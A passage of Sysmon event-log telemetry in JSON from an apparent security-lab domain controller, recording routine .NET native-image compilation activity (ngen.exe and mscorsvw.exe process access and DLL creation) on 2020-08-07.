AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:53.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001048E60B00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:53.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001048E60B00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:53.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001048E60B00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:53.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001048E60B00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:53.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B1-5F2D-0000-0010473D0C00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:53.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B1-5F2D-0000-0010473D0C00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:55.697\r\nProcessGuid: {90617006-42B1-5F2D-0000-0010473D0C00}\r\nProcessId: 4928\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1340-0\\Microsoft.VisualBasic.Compatibility.dll\r\nCreationUtcTime: 2020-08-07 12:01:55.697","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:55.697","ProcessGuid":"{90617006-42B1-5F2D-0000-0010473D0C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1340-0\\Microsoft.VisualBasic.Compatibility.dll","CreationUtcTime":"2020-08-07 12:01:55.697","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:55.760\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00104C420C00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:55.760","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00104C420C00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:55.760\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00104C420C00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:55.760","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00104C420C00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:55.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00104C420C00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:55.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00104C420C00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:55.822\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001086990B00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:55.822","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001086990B00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:55.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001086990B00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:55.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001086990B00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:55.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00103B460C00}\r\nTargetProcessId: 4740\r\nTargetImage: 